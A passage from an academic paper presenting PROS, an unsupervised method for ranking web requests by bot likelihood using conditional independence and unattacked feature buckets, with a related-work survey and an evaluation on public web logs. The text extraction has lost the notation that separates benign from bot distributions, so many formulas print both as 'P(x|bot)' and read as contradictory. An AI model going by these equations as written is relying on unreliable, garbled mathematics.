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nothing about likelihood of belonging to the same class.
Our method is close in spirit to many anomaly detection

(AD) approaches; in AD it is also common to estimate the
clean distribution and punish deviations. In spite of this simi-
larity it is difficult to leverage existing AD techniques without
modification. Many AD approaches rely on distance or den-
sity methods. The underlying assumption is that things close
in feature space have high likelihood of being in the same
class. This is true for K-means, K Nearest Neighbors, Iso-
lation Forests [31], One-Class SVMs [32], etc. We review
related anomaly detection work in Section 3.

Base-rate uncertainty: In abuse problems we seldom have
a strong prior about the fraction of received traffic that is
from bots. It’s hard to say a priori whether sign-up abuse, or
password guessing, or CAPTCHA-solving attempts are 5%,
50% or even 90% of total. For very large providers some
forms of abuse presumably never entirely go away, but the
amount might vary enormously over time as attackers gain
or lose resources, change strategy, or alter their targets. Rules
with fixed thresholds are likely to trade true for false positives
at very different rates depending on the base-rate.

A related problem is that the base-rate can vary between
training and deployment. Many supervised approaches as-
sume that the ratio of benign to malicious seen in deployment
is the same as seen in training [22] (and have performance
that deteriorates rapidly if it is not [29]). Given the high-flux
nature of abuse traffic this appears a problematic assumption.
We seek an approach that works well across a wide range of
base-rates.

Interpretability: We wish for the classification decisions
to be explainable to a human operator. This is particularly
important for unsupervised approaches where the absence
of ground-truth labels means that traditional true and false
positive metrics, Receiver Operator Characteristic (ROC)
curves and Area Under Curve (AUC) metrics are unavail-
able. Human-interpretable decisions also clearly helps with
maintainability and debugging.

Our approach outputs human-interpretable rules that can
be very useful in identifying clusters of bot activity. If a bot
sends significant traffic from Florida using IE9 then a rulset
based on features state and browser will have a rule “Florida
and IE9” near the top when sorted by bot likelihood.

3 Related work

Bot and scripted traffic have long posed problems for web
services. Dwork and Naor [10] were perhaps the first to recog-
nise the issue and propose a ‘proof of work’ to deter excessive
use of free or unmetered services. CAPTCHAs are one ap-
proach [3] and most large web services use them in one form
or other. Most CAPTCHAs have been shown to be break-
able [8], and they do not appear to offer a durable robust
defense. They also, of course, place a significant burden on
the user population. Douceur first describes the problem that

automated creation of pseudonymous account are for web
services [19]; the magnitude of the problem has ballooned in
the two decades since.

Sommer and Paxson [33] offer an excellent summary of the
issues involved in applying ML to security problems. Among
the issues that they highlight are lack of labels, and the ab-
sence of standardized datasets. Their emphasis is on intrusion
detection, but both of these are certainly factors for abuse prob-
lems. Chio and Freeman [15] give a more recent overview of
ML applications in security including abuse problems such
as account creation and hijacking. They suggest clustering
approaches which can detect large-scale coordination. They
suggest mechanisms such as locality sensitive hashing as a
measure of closeness for objects such as domain names which
may be related but not identical.

An excellent survey of anomaly detection (AD) techniques
is given by Chandola et al [12]. The common approach in
anomaly detection is to estimate P(xxx|bot) in a ‘bake-in’ pe-
riod. That is, it is expected that anomalies are rare, so that
we can estimate the distribution using any available window
and be confident that it approximates the true distribution.
This often does not work for abuse problems since we can-
not count on any particular time period being attack-free.
Nonetheless our approach has much in common with AD
techniques: unattacked bins play the role that a ‘bake-in’ pe-
riod plays in many AD methods. Our approach is similar, in
principle, to Herley and Schechter’s method to detect pass-
word brute-forcing attacks [26]. They observe that the ratio
of fails to successful logins acts as a proxy measure for the
amount of attack traffic, and use this to identify unattacked
subsets. Emmott et al [20] describe an approach to bench-
marking AD algorithms, but the emphasis is on anomalies
that are rare.

Important unsupervised learning approaches include Iso-
lation Forests [31], One-Class SVMs [32] and clustering
approaches, such as K-means and variants [27]. Each of
these methods assumes numeric features and do not adapt
uneasily to categorical features where there is no natural mea-
sure of distance between data points. That is, most unsuper-
vised methods assume that closeness in feature space implies
greater likelihood of belonging to the same class; this breaks
down when we have categorical features (and thus no natural
idea of distance). One-hot encoding is the common way of
mapping categorical features to numeric; however, when the
number of features is small we end up with only a limited
number of discrete distances possible between samples; this
greatly compromises performance.

There have been a number of approaches to detecting bot
behavior and traffic. Ferrara et al [21] describe content, net-
work and temporal characteristics of Twitter bots and give a
review of detection mechanisms. Botometer (formerly Bot-or-
not) [17] is a project at Indiana University that estimates bots
based on account activity. When accounts have very little ac-
tivity Botometer has no basis to make a decision. The public
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API that they expose is our main baseline for comparison in
Section 7.

Thomas et al [37] describe the thriving underground market
for Twitter spam and abuse accounts. They use the accounts
they discover being traded to train a supervised detection algo-
rithm. Chavoshi et al [13] describe detecting Twitter clusters
of bots by detecting highly synchronized activity. The idea is
that managing a large collection of sybil accounts will often
result in high temporal correlation in the activity of those
accounts.

Kudugunta and Ferrara [30] describe a DNN approach to
social bot detection. They use synthetic minority oversam-
pling [14] which generates a large amount of synthetic la-
belled data from a smaller number of actual labels. Jan et
al [28] also leverage a small amount of labelled data to syn-
thesize quantities that can be used by neural networks. They
echo some of findings of Sommer and Paxson [33] on the
limitations of ML methods.

Given the importance of the problem there is a significant
body of work on detecting social media bots. We should be
clear that we do not claim to rival the performance of state-
of-the-art detection: our testing on a Twitter dataset is driven
by availability rather than an expectation that it is particularly
suited to this domain. Grier et al do a large scale character-
ization of Twitter spam [24]. They find Twitter spammers
achieve much higher clickthrough rates than on other plat-
forms, and high-levels of use of URL shortening services.
Benevenuto et al [5] describe detecting spammers on Twitter.
A portion of accounts in a large dataset were manually la-
belled as spammer/not-spammer as a front-end to a supervised
learning approach. Stringhini et al [34] describe a honeypot
approach to the detection of spammers on social networks. By
creating hundreds of honey accounts they were able to detect
large volume of spam activity. Cao et al describe detecting
clusters of malicious accounts on Facebook [11]. They ob-
serve that malicious accounts under a single attacker’s control
often perform actions that are synchronized or correlated in
time. Xiao et al describe detecting clusters of fake accounts
on LinkedIn [38]. The approach is supervised using manually
generated labels on a sample of accounts. Stringhini et al [36]
present a measurement study of the market for Twitter follow-
ers. The approach leverages the labels to find large clusters of
accounts that share characteristics (e.g., naming patterns etc).
Stringhini et al [35] describe how to detect clusters of related
malicious accounts by observing that the contact points (or IP
addresses) used to access them are often shared. Xu et al de-
scribe an approach to detecting abusive accounts at Facebook
using a small number of human-labelled samples augmented
by lower-precision automated labels [39].

4 Sketch of method

The traffic we observe is a mixture of malicious and benign.
Let xxx = (x0,x1,x2, · · · ,xM−1) be a vector of observed features.

For example, these might be time, browser version, IP ad-
dress, country, city, state, etc. We’ll assume that the features
of interest are categorical or ordinal (this is the case for most
measurements available from a browser connection), so that
feature x j can take any of N j different values. Time might be
quantized to hour-of-day so that xi takes one of 24 discrete
values, browser version might have 60 or so buckets for the
most common versions and one bucket for everything else.

The traffic observed, O(xxx), is a mixture of clean, C(xxx) and
bot, B(xxx) :

O(xxx) = C(xxx)+B(xxx).

We’ll find it convenient to deal with distributions, which we
derive by normalizing the histograms:

P(xxx) =
O(xxx)
|O|

, P(xxx|bot) =
C(xxx)
|C|

, P(xxx|bot) =
B(xxx)
|B|

.

The fraction of traffic that is clean is:

α =
|C|

|C|+ |B|
. (1)

Thus, the received distribution is:

P(xxx) = α ·P(xxx|bot)+(1−α) ·P(xxx|bot), (2)

where 0 < α≤ 1. Obviously, P(xxx|bot), P(xxx|bot) and α are all
unknown.

Bot traffic might come from a single attacker, or from many.
In general we should have

P(xxx|bot) =
Q−1

∑
q=0

wq ·P(xxx|botq), (3)

where Q is the number of distinct attackers and the wq are the
weights of their contributions. If Q = 1 (i.e., there’s only one
attacker) then it might be plausible that the xi are independent
in the bot traffic. This might be the case, for example, if the
attacker simply ranges over several possible bins for each
feature using a for-loop. If Q > 1 (i.e., there are several
attackers) it’s extremely unlikely that the xi are independent
in the bot traffic. This is the case, since the sum of separable
functions is not in general separable.

Suppose we assume that the xi are independent in the be-
nign traffic2, i.e., P(xxx|bot) = ∏i P(xi|bot). This simply says
that, for example, browser version does not depend on time-
of-day, etc. This gives that the overall observed distribution
is:

P(xxx) = α ·∏
i

P(xi|bot)+(1−α) ·P(xxx|bot),

and the marginal observed distribution along x j:

P(x j) = α ·P(x j|bot)+(1−α) ·P(x j|bot).

2Note: we will actually only assume conditional independence over sub-
sets of the data, see Section 5. We do not assume the same thing for the
malicious traffic. This is strictly weaker than the independence assumption
made in many supervised algorithms.
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We can also calculate the marginal distribution restricted to
subsets of the data; for example restricting to a particular
bucket of one feature xk = x

′
k we get:

P(x j|x
′
k) = α

′
k ·P(x j|bot,x

′
k)+(1−α

′
k) ·P(x j|bot,x

′
k),

where α
′
k is the (unknown) fraction of traffic in this bucket

that is benign:

α
′
k =

|C(xxx j|x
′
k)|

|C(xxx j|x
′
k)|+ |B(xxx j|x

′
k)|

.

Note that (because of assumed independence)
P(x j|bot,x

′
k) = P(x j|bot,x

′′
k) = P(x j|bot).

Now suppose that this bucket xk = x
′
k receives no attack traf-

fic (e.g., there’s no attack traffic in the browser = ‘Firefox67’
or state = ‘Iowa’ buckets, etc). This gives us that α

′
k = 1,

P(x j|bot,x
′
k) = 0 and hence:

P(x j|x
′
k) = P(x j|bot), j 6= k. (4)

In words: any unattacked bucket xk = x
′
k of the k-th feature

tells us the benign distribution for every other feature x j (for
j 6= k) that is independent of xk in the benign traffic.

Armed with the clean distribution, the problem is now sim-
ple. The odds that an observation is malicious can be ex-
pressed:

P(bot|xxx)
P(bot|xxx)

=
P(xxx)−α ·P(xxx|bot)

α ·P(xxx|bot)

=
P(xxx)−α ·∏i P(xi|bot)

α ·∏i P(xi|bot)
. (5)

From (4) we can get the clean distributions P(xi|bot) needed
to calculate this odds if we can find unattacked buckets in at
least two features.

This would leave α as the sole remaining unknown param-
eter. Note that (5) is monotonic in α, so that the order is not
affected by α. To see this, denote as Odds(xxx,α) the left-hand
side of (5) and observe that if Odds(xxx,α)> Odds(yyy,α) then

P(xxx)
α ·P(xxx|bot)

−1 >
P(yyy)

α ·P(yyy|bot)
−1

which simplifies to

P(xxx) ·P(yyy|bot)> P(yyy) ·P(xxx|bot),

which is independent of α. Thus, if Odds(xxx,α)> Odds(yyy,α)
is true for any α it is true for all α. In other words if we fix α

then (5) will give us a ranking of observations from most to
least suspicious; if we’re wrong about α we will still be right
about the ordering.

4.1 Toy example

A toy example in words may help clarify the idea. Suppose,
for US traffic, we examine only three features: browser ver-
sion (e.g., ‘Chrome77’, ‘Firefox69’, ‘Edge17’, etc), state (i.e.,
‘Alabama’, ‘Alaska’, etc) and local hour-of-day (i.e., 0 to 23).
We might have 60 buckets for the most common browser
versions (throwing everything else into a catchall ‘isRest’
bucket). Thus, there are 60× 50× 24 possible 3-tuples and
every request is quantized into one of them. The assumption
of independence is that (in the benign traffic):

P(br, st, hr|bot) = P(br|bot) ·P(st|bot) ·P(hr|bot).

So that, for example,

P(hr|bot, ‘Chrome77’)≈ P(hr|bot, ‘Firefox69’);

i.e., the time-of-day distribution doesn’t differ by browser
choice in the benign traffic. Equally,

P(br|bot, ‘Michigan’)≈ P(br|bot, ‘Georgia’);

i.e., the benign browser distribution doesn’t differ by loca-
tion3.

Now suppose that there is no attack traffic from, e.g., Iowa.
From (4) this means that we can calculate

P(br|bot) = P(br|‘Iowa’)

and

P(hr|bot) = P(hr|‘Iowa’).

Also suppose there is no attack traffic from ‘IE9’; this gives

P(st|bot) = P(st|‘IE9’)

and

P(hr|bot) = P(hr|‘IE9’).

This means that, given an observation xxx= (br, st, hr), the odds
of being malicious are (from (5)):

P(br, st, hr)
α ·P(br|‘Iowa’) ·P(st|‘IE9’) ·P(hr|‘Iowa’)

−1.

That is, except for α, we have everything we need to calcu-
late the odds. Since we saw that the order of odds ratio was
independent of α any fixed α gives a ranking from most to
least likely to be malicious. All that we needed to assume was
independence of the features in the benign traffic, and that we
had unattacked buckets in some of the features.

3Note: we will relax any assumption of global independence in Section 5
below.
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5 Detailed Description

Independence as described in Section 4 is an idealization. In
practice we must expect many features will have some depen-
dence on other features. Firefox might represent 15% of the
market in France, but only 2% in Mexico, for example, indi-
cating a dependence between browser family and country. It is
unrealistic to expect complete mutual independence of all of
the features that might be valuable in making a classification
(although supervised approaches often assume this of both
benign and malicious traffic). In addition to the three features
used in the toy example of Section 4.1 we will want to con-
sider others. Information available from the browser such as
languages, fonts and plugins installed, protocols available, etc
can all be valuable. Web services that involve user-provided
input (e.g., form-filling) will have valuable textbox inputs;
e.g., an account signup page will have a user-chosen user-
name.

That independence is a problematic assumption is probably
especially true of a global service. The larger the population
of users the more diverse the traffic is likely to be. Browser-
language is more likely to be independent of browser family
at the web portal of a small regional bank than at Facebook.
Independence means that the multivariate distribution is the
product of 1-dimensional distributions. The larger and more
diverse the traffic population the harder this is to guarantee.
However, features that might not be globally independent
might be locally independent subject to some condition. For
example, browser version might not be independent of hour-
of-day globally, but might be within particular countries.

There is formal support for the view that we can get condi-
tional independence if we break a large dataset into smaller
subsets. Formally, if P(xxx) = ∏k P(xk) then it is a rank-1 ten-
sor (i.e., it is the product of 1-dimensional factors). However,
every matrix or tensor can be written as a sum of rank-1 com-
ponents [7, 23]. The rank of a tensor is the minimum number
of rank-1 tensors required to express it in a sum. Instead of
assuming global independence of features we will break into
subsets (e.g., country, or browser family) over which it is more
reasonable to assume conditional independence.

Let’s break the data into subsets SSSi whose union covers all
traffic: ∪iSSSi = I. The SSSi might be countries, or blocks of IP
addresses, or browser families, or intersections of these things.
For example, the SSSi might be the intersection of country
and browser family, so that Mexico-Chrome, France-Firefox,
Vietnam-Edge, etc are instances. We will use a set of features
xxx that are mutually independent conditioned on SSSi :

P(x j,xk|bot,SSSi) = P(x j|bot,SSSi) ·P(xk|bot,SSSi) for xk 6= x j.

Given a set of features λλλ(x j), we’ll say that x j is independent
of features in λλλ(x j) conditioned on SSSi (e.g., hour-of-day is
independent of State given Mexico-Chrome) if for xk ∈ λλλ(x j):

P(x j,xk|bot,SSSi) = P(x j|bot,SSSi) ·P(xk|bot,SSSi).

Description
xk Categorical feature
Nk Cardinality of xk
xxx Vector of features, e.g., (x0,x1,x2, · · · ,xM−1)
SSSi Subset of the data; e.g., a single country
P(xxx) Observed distribution of xxx
P(xxx|bot) Distribution of xxx in benign traffic
P(xxx|bot) Distribution of xxx in malicious traffic
P̂(xxx|bot) Estimate of P(xxx|bot)
α Fraction of traffic that is benign
λλλ(x j) Set of features conditionally independent of x j|SSSi
µµµ(λλλ(x j)) Set of unattacked buckets of features in λλλ(x j)

Table 1: Explanation of variables used.

We’ll denote this x j ⊥ λλλ(x j)|SSSi. This does not imply that
features in the set λλλ(x j) are mutually independent; in general
they are not.

Obviously, the received distribution is a mixture of benign
and bot, and the benign distribution can be factored:

P(xxx|SSSi) = αi ·P(xxx|bot,SSSi)+(1−αi) ·P(xxx|bot,SSSi)

= αi ·∏
x j∈xxx

P(x j|bot,SSSi)+(1−αi) ·P(xxx|bot,SSSi).

Here αi is the fraction of traffic that is benign in SSSi, that is

αi = |C(xxx|SSSi)|/(|C(xxx|SSSi)|+ |B(xxx|SSSi)|)

The marginal distribution along x j is:

P(x j|SSSi) = αi ·P(x j|bot,SSSi)+(1−αi) ·P(x j|bot,SSSi). (6)

Now denote as µµµ(λλλ(x j)) the (possibly empty) set of buckets
of the features in λλλ(x j) that receive no attack traffic within SSSi.
This means that P(x j|bot,SSSi,µµµ(λλλ(x j))) = 0, and hence:

P(x j|SSSi,µµµ(λλλ(x j))) = P(x j|bot,SSSi). (7)

That is, over subset SSSi, we can estimate the clean distribution
of feature x j by restricting to the unattacked buckets µµµ(λλλ(x j))
of any feature conditionally independent of x j; i.e. xk ∈ λλλ(x j).
So, our odds, over SSSi, becomes:

P(bot|xxx,SSSi)

P(bot|xxx,SSSi)
=

P(xxx|SSSi)

αi ·∏ j P(x j|bot,SSSi)
−1. (8)

We can now simply use (7) to get the values of P(x j|bot,SSSi).

5.1 Finding the clean distributions
We’ve seen, in (7), that unattacked buckets of a feature xk
lead us to the clean distribution of any features x j that are
conditionally independent of xk. We next tackle the question
of how to identify unattacked buckets.
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Suppose that a set bbb = {b0,b1, · · · ,bd−1} of d different
buckets of features in λλλ(x j), are unattacked. From (7) we get
that:

P(x j|SSSi,bm) = P(x j|SSSi,bn) = P(x j|bot,SSSi), ∀ m,n ∈ bbb. (9)

That is, since all unattacked buckets of features in λλλ(x j) give
the clean distribution of x j their marginal distributions will be
equal. We next show that the converse is almost true. That is, if
several buckets have the same marginal distribution then they
are unattacked if we can assume that the abuse traffic does
not precisely match the clean distribution (e.g., at least some
of the benign distributions are unknown to or unachievable
by the attacker).

Let’s examine what happens when the marginal distribu-
tions of a set bbb = {b0,b1, · · · ,bd−1} of the buckets of fea-
tures in λλλ(x j) are equal; i.e., P(x j|SSSi,bm) = P(x j|SSSi,bn) =
φφφ ∀ m,n ∈ bbb for some fixed φφφ (but we don’t know whether or
not they are unattacked).

From (6) we get that ∀ bm ∈ bbb:

φφφ = αmP(x j|bot,SSSi,bm)+(1−αm)P(x j|bot,SSSi,bm)

= αmP(x j|bot,SSSi)+(1−αm)P(x j|bot,SSSi,bm). (10)

Recall that P(x j) is an N j-dimensional unit vector. Thus, for
a single bm, the righthand side of (10) is a vector that lies on
the line segment joining P(x j|bot,SSSi) and P(x j|bot,SSSi,bm).
When we consider all of the bm, φ is the intersection of these
d line segments. Since all of these line segments originate
at P(x j|bot,SSSi) clearly φ = P(x j|bot,SSSi) is one solution. This
implies that all of the αm = 1, the bm contain no abuse traffic;
i.e., as desired. we have found the clean distribution.

Other solutions are possible. However, since φ is the inter-
section of line segments that already intersect at P(x j|bot,SSSi)
this requires that all of the line segments are the same: i.e.,
P(x j|bot,SSSi,bm) = P(x j|bot,SSSi,bn) for every bm,bn ∈ bbb. This
in turn requires that all of the αm are equal.

Recall that:

αm = |C(xxx|SSSi,bm)|/(|C(xxx|SSSi,bm)|+ |B(xxx|SSSi,bm)|).

Hence α0 = α1 = · · ·= αd−1 gives:

(|C(xxx|SSSi,b0)|, |C(xxx|SSSi,b1)|, · · · , |C(xxx|SSSi,bd−1)|)
∝ (|B(xxx|SSSi,b0)|, |B(xxx|SSSi,b1)|, · · · , |B(xxx|SSSi,bd−1)|) .

This says that the ratio of abuse to clean traffic is identical
in all d buckets. Since it’s implausible that this happens by
chance it implies that the attacker knows, and can precisely
achieve, a d-dimensional sub-space of the clean distribution.
In other words, we assume that achieving the same relative
traffic strengths across d buckets is not possible if the attacker
doesn’t know the distribution.

A sole remaining exception is the corner case where
α0 = · · · = αd−1 = 0; i.e., our d buckets contain no clean

traffic at all. If an attacker sends identical traffic on, e.g.,
Chrome57, Chrome58, Chrome59 these buckets would have
identical marginals for every x j (assuming no clean traffic
from those browsers). We easily rule this corner case out if
at least one bucket in bbb is known to have at least some legiti-
mate traffic. Buckets from features such as state, city, ISP, for
example, should suffice: the mixture of benign-to-abuse will
vary, but there should be no state or city or ISP contributing
zero legitimate traffic.

A toy example may clarify the process. Suppose we seek
the clean distribution of x j and have that λλλ(x j) = {browser,
state, domain} (i.e., x j is conditionally independent of those
features in the clean traffic). Suppose we satisfy (9) with
buckets bbb = {Chrome71, Chrome72, Edge84, Iowa, Oregon,
Ohio, yahoo, hotmail}. This tells us that those buckets are
unattacked unless the ratio of abuse to clean traffic is the
same in each of those buckets. This says that the attacker can
precisely achieve a d = 8-dimensional subset of the benign
distribution. The corner case where traffic from these buckets
is all malicious instead of all benign is ruled out since it
is implausible that, e.g., all traffic from Oregon or yahoo is
malicious.

Notes: Exact equality of distributions is of course hard to
achieve; for approximate equality of distributions we use the
Kullback-Leibler (KL) divergence [16, 25]. Note also that we
can be fairly tolerant of false negatives when searching for
unattacked buckets: if 20 out of 50 buckets of a feature are
unattacked it doesn’t matter very much if we find only 5 of
them.

5.2 Overall algorithm
We start with a collection of subsets SSSi such that ∪iSSSi covers
all of the data (using different countries as the subsets is our
default). We seek classification rules for a set of features xxx
that are mutually independent conditioned on SSSi. We need a
collection of conditional independence relations:

x j ⊥ λλλ(x j)|SSSi for each x j ∈ xxx. (11)

In Section 6 we’ll give the reasoning behind the independence
relations we use in the case of web-logs.

We find an estimate for the clean distribution of feature x j
by searching (among features that are independent of x j con-
ditioned on SSSi) for clusters of buckets where P(x j|SSSi,bm)≈
P(x j|SSSi,bn) for every bm,bn in the cluster.

A matrix interpretation of the approach in Section 5.1
aligns well with the implementation. Let ΩΩΩ,ΣΣΣ, and ΘΘΘ be the
observed, bot and bot matrices of marginal distributions of
x j over all the bins of all the features in λλλ(x j). These have
columns P(x j|SSSi,bm),P(x j|bot,SSSi,bm) and P(x j|bot,SSSi,bm)
for every bucket bm of every feature xk ∈ λλλ(x j) respectively.
Calculating ΩΩΩ is efficiently implemented as a matrix pivot
operation. Clearly, we have:

ΩΩΩ = α ·ΣΣΣ+(1−α) ·ΘΘΘ.
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Algorithm 1 PROS approach to find clean distributions. We iterate over the subsets for which conditional independence is
defined and over each feature. Note that for features where the clean distribution is slowly-varying this training need not be
re-run very often.

for SSSi in {SSSi} do
for x j in xxx do

ΩΩΩ(x j) = data.pivot(index= x j, columns = λλλ(x j), aggfunc = sum())
µµµ(λλλ(x j)) = bins corresponding to largest cluster of co-linear columns of ΩΩΩ(x j)

P̂(x j|SSSi,bot), Avg{P(x j|SSSi,µµµ(λλλ(x j)))}
end for

end for

Here ΣΣΣ is rank-one, since P(x j|bot,SSSi) is independent of every
xk ∈ λλλ(x j). However ΘΘΘ will in general be of full rank (since
we are not assuming any independence relations in the abuse
traffic). As the sum of rank-one and (in general) full-rank
matrices, ΩΩΩ will also in general be full-rank.

To find the clean distribution of x j we seek to form a rank-
one matrix ΩΩΩ

′
with a subset of the columns of ΩΩΩ :

ΩΩΩ
′
= α ·ΣΣΣ

′
+(1−α) ·ΘΘΘ

′
.

The columns of this rank-one matrix ΩΩΩ
′

give the clean distri-
bution. Algorithm 1 describes the approach.

Once we have estimates of the clean distributions we calcu-
late the odds (i.e., compute (8)); this is done in Algorithm 2.
This is simply an implementation of (8) with αi = 0.5 (recall
from Section 4 that order is unaffected by α). The output
of the algorithm is a set of rules that covers every possible
observation. Every possible tuple of the features has a rule
as generated by (8) and this is done for every subset SSSi. For
example, if xxx = (x0,x1,x2,x3) is (browser, State, hour-of-day,
organization) then a typical rule might be

(Chrome77.0.3770, Georgia, 13, Comcast),

together with the odds estimated in (8). Table 2 in Section 7
gives an example.

Algorithm 2 Calculate Rules: we use the clean distributions
estimated in Algorithm 1. Note that updating rules can be
re-run very often.

for SSSi in {SSSi} do
Odds(xxx|SSSi) = P(xxx|SSSi)/(0.5 ·∏ j P̂(x j|bot,SSSi))−1

end for

5.3 Implementation notes
Conditional independence rules and subsets: We go
through our reasoning for conditional independence relations
for the concrete example of web-logs in Section 6. While we
don’t claim a procedure that is general for all applications
and feature sets, this task is done only once, and we generally

have a small number of features, so decisions on pairwise
independence can be decided manually. Note that we can con-
join features: if x j is independent of both browser and week
it is independent of browser-week. This expands the number
of bins (and can make it easier to find unattacked ones) at the
cost of fewer data samples per bin.

Observe that PROS simply detects violations of our inde-
pendence assumptions. If (11) holds then ΣΣΣ is rank-one. If
what we observe, ΩΩΩ, is not rank-one then either the indepen-
dence assumptions are wrong, there is a corrupting compo-
nent (1−α) ·ΘΘΘ, or sampling effects are too great (precise
independence is never achieved when we have finite number
of samples). Thus, if we have a lot of data and high confi-
dence in our independence assumptions, any deviations from
independence in observed traffic indicates abuse.

PROS fails safely: if we are wrong about our independence
assumptions, or there are no unattacked bins, then we will be
unable to find a rank-one subset of the columns of ΩΩΩ.

Estimating α: While the ordering of our odds estimates is
independent of α it would still be very valuable to estimate it
accurately. If we know P(xxx) and P(xxx|bot) it can be seen that
(2) still under-determines α and P(xxx|bot); i.e., there is a range
of possible solutions. The most conservative choice is to take
the maximum value of α consistent with P(xxx) and P(xxx|bot);
this attributes as much traffic as possible to benign rather than
malicious sources. This is found by taking the orthogonal
projection of P(xxx) onto P(xxx|bot) :

α̂ =
〈P(xxx),P(xxx|bot)〉
〈P(xxx|bot),P(xxx|bot)〉

. (12)

This is an upper bound. With this choice P̂(xxx|bot), [P(xxx)−
α̂ ·P(xxx|bot)]/(1− α̂) will be orthogonal to P(xxx|bot), but will
not necessarily have non-negative coefficients (and thus can’t
be a probability). This suggests our upper bound is loose. We
can improve it by reducing α̂ until P(xxx)− α̂ ·P(xxx|bot) has
only non-negative coefficients. This can be done by a simple
one-dimensional search.

However, a word of caution on numerical robustness
is necessary. It’s easy to show that the upper bound in
(12) is tight when class separation along xxx is good (i.e.,
〈P(xxx|bot),P(xxx|bot)〉 ≈ 0), and loose when it is not. Seeking
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to improve a loose estimate by reducing α̂ as above can be
sensitive to sampling effects and works best when the volume
of data is very high.

Streaming data: When we run Algorithm 1 on streaming
data it can increase robustness to update rather than calcu-
late P̂(x j|SSSi,bot) afresh over each block. The final estimate
might be a weighted sum of the historical and current-block
estimates; we might tilt the weights heavily toward histori-
cal estimates for slowly-varying features (e.g., state, family)
and toward current-block for those that evolve rapidly (e.g.,
browser).

Concept drift: Note that our estimates of the clean distribu-
tions P(x j|bot) need not be retrained very often. Certain fea-
tures, such as browser version might need to be re-estimated
often, but others (such as geographic distribution) should be
very-slowly varying. By contrast, we expect that the bot dis-
tribution to change very rapidly. Thus Algorithm 2 might be
re-run very often.

Feature cardinality: categorical features often have high
cardinality with many rare tokens. We run an encoding stage
that maps the least-common tokens into a single ‘other’ bin.
This procedure is sometimes known as backoff.

Efficiency: The clustering in the inner loop of Algorithm 1
can be a brute-force search if necessary. Since we deal with
a small number of categorical features that have dozens or
so buckets even a full N2 search (where N is the sum of the
cardinalities of features in λλλ(x j)) might not be unmanageable.
We are also aided by the fact that we are tolerant of false neg-
atives (i.e., unattacked bins that we don’t find) in this search.
So long as we find a few unattacked buckets we can estimate
the benign distribution. Thus, if a full N2 is too expensive we
can do a search only over a sample of the buckets, and repeat
several times if the sub-searches fail. Observe that Algorithm
1’s only dependence on the size of the dataset comes from the
matrix pivot operation; after that the complexity of finding
unattacked bins is determined by the feature cardinalities. An
interesting approach (which we have not implemented) to
finding rank-one submatrices efficiently is described by Doan
and Vavasis [18]. Running Algorithm 1 on the 3m row dataset
of Section 6 took about 30 minutes on a 2.2GHz dual proces-
sor PC with 128G of RAM, and Algorithm 2 took 4 minutes.
This does not include the time for parsing userAgent strings
into its components.

Interpretability and Identification of clusters of bot ac-
tivity: The rules output by Algorithm 2 are used to assign bot
likelihood to each request, but just as importantly they help
identify clusters of bot activity. For example, suppose a bot
sends lots of traffic from Florida using IE9. In this case in a
browser-state ruleset the rule “Florida and IE9” will appear
near the top (when sorted by bot likelihood). That bot activ-
ity is often clustered in feature-space is exploited in many
detection approaches [11, 13, 35, 36, 38, 39].
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Figure 1: Lower bound for the ROC curves of PROS and
Isolation Forests using features browser, family, status
and path. Having labels for only a portion of the positive
samples (and none for the negatives) the true ROC curve is, in
each case, above and to the left of the curve shown. (a) Solid
line: lower-bound ROC curve for PROS (AUC=0.877). (b)
Dash dot line: lower-bound ROC curve for Isolation Forests
(AUC=0.532).

6 Evaluation on web-log dataset

The site www.secrepo.com offers a repository of various
security-relevant datasets. The daily logs of all web requests
are made available under the Creative Commons Attribution
4.0 License. It receives approximately 15k requests per week,
so that five years’ worth of logs comprises about 3m rows in
2,000 separate files.4 Our capture covers dates from January
2015 to August 2021.

The logs are stored in Apache Combined Log format [4].
The recorded fields are: IP address, HTTP status,
response size, referer, userAgent, timestamp,
HTTP request. From IP address we derive the features
city, state and country using an IP geolocation service;
e.g., 3.94.31.115 yields ‘Ashburn’, ‘Virginia’, ‘United
States’. From userAgent we derive browser, family,
OS, osFamily using the Python library user_agents;
e.g., ‘Mozilla/5.0 (Windows NT 6.3; WOW64; rv:56.0)
Gecko/20100101 Firefox/56.0’ yields ‘Firefox56.0’,
‘Firefox’, ‘Windows8.1’, ‘Windows’. From timestamp
we derive day, week, month and year. From HTTP
request we derive method and the path as the sub-

4We have no affiliation with the site, but did communicate with the site
administrator who confirmed certain details below.
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directory of the requested item; e.g., the request GET
/self.logs/access.log.2019-04-15.gz yields GET and
/self.logs.

Given these features the set of conditional independence
relations we chose are as follows:

browser ⊥ {country,city,state,path,status} | family,
status ⊥ {browser,week, family,osfamily} | country,

path ⊥ {browser,week, family,osfamily} | country,
family ⊥ {city,state,path,status} | country}.

For example, the first line indicates that (within a browser
family such as Chrome) we expect version to be independent
of country, city, state, path and HTTP response status. Our rea-
soning is that version should be relatively independent of loca-
tion since modern browser families regularly push automatic
updates and regional user preferences have little chance to
affect P(browser|family,bot).5 Similarly, we assume (within
a browser family) that benign users of, say, Chrome82 are not
more or less likely to visit particular paths or receive partic-
ular response codes than benign users of any other Chrome
version.

The second line says that, within a country, we expect
different browser versions, browser families, etc are equally
likely to receive a particular response. Our reasoning is that,
for example, human Firefox users should receive responses
of 200 (i.e., success) and 404 (i.e., file not found) at the same
rate as Chrome and Safari users.

As Chio and Freeman explain [15] there is little prospect
of obtaining human-chosen labels for web-log requests. How-
ever, this logset contains three groups of data which we can
label as automated traffic.

1. Traffic identified as automated by the site. The site
responds to certain requests with HTTP response 418
“I’m a teapot.” This response is often used by servers
for [1] “requests they do not wish to handle, such as
automated queries.”

2. Traffic requesting (non-existent) WordPress re-
sources. Malicious bots will often probe for WordPress
resources looking for vulnerable configurations. The
site administrator confirmed to us that the site has never
had any WordPress installation. Thus, all requests to
wp-login, wp-admin, wp-includes etc can be con-
sidered honeypot requests; e.g., the logset contains 90k
requests to wp-login, the authentication entry point for
the WordPress dashboard.

3. Traffic requesting the daily logs. The site contains
five years of daily logs in 2,000 individual files with
naming format access.log.YYYY-MM-DD.gz. Obvi-
ously, requests sampling these logs one-at-a-time will

5This does not imply distribution of browser family is independent of
country (which we do not assume).

be dwarved by scripted requests. Inspection confirms
that requests for these files are strongly dominated by
repeated bursts (i.e., from the same userAgent and IP
address) requesting a large number of consecutive files.
Of course, while these bot requests are not harmful they
are the type of automated activity that PROS attempts to
identify.

Thus, we label all requests with HTTP response status 418,
or containing ‘wp-’ or ‘access.log’ in the request field as bot.
Together they cover 39.1% of requests in the logset. Harness-
ing the output of a rules-based system as a source of labels is
common practice (apparently including Facebook’s abusive
